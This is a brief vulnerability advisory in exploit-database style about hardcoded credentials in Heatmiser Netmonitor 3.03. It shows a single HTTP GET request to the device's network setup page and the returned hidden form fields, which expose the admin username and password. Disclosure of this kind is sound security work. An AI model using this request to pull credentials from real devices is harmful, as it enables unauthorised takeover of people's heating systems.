Heatmiser Netmonitor 3.03 Hardcoded Credentials

Heatmiser Netmonitor version 3.03 suffers from a hardcoded credential vulnerability.

MD5 | d4d631c6376d487b9ae1a6c2018ff59d

# Exploit Title: Heatmiser Netmonitor 3.03 - Hardcoded Credentials
# Date: 2019-12-22
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.heatmiser.com/en/
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf
# Software: Netmonitor v3.03
# Product Version: Netmonitor v3.03
# CWE : CWE-798
# Vulenrability: Use of Hard-coded Credentials
# CVE: N/A

# Decription :
# Hard-coded Credentials security vulnerability of Netmonitor model v3.03
# from Heatmiser manufacturer has been discovered. With this
# vulnerability, the hidFrm form in the source code of the page
# anonymously has access to hidden input codes. This information is
# contained in the input field of the hidFrm form in the source code
# lognm and logpd.

HTTP GET Request : /networkSetup.htm HTTP/1.1

<form name="hidFrm" method="post">
<input type="hidden" name="lognm" value="admin">
<input type="hidden" name="logpd" value="admin">
<input type="hidden" name="ip" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="mask" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="gate" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="dns" value="XXX.XXX.XXX.XXX">
<input type="hidden" name="timestr" value="04:27">
<input type="hidden" name="datestr" value="23/12/2019">
<input type="hidden" name="timeflag" ,="" value="0">
<input type="hidden" name="gmtflag" ,="" value="1">

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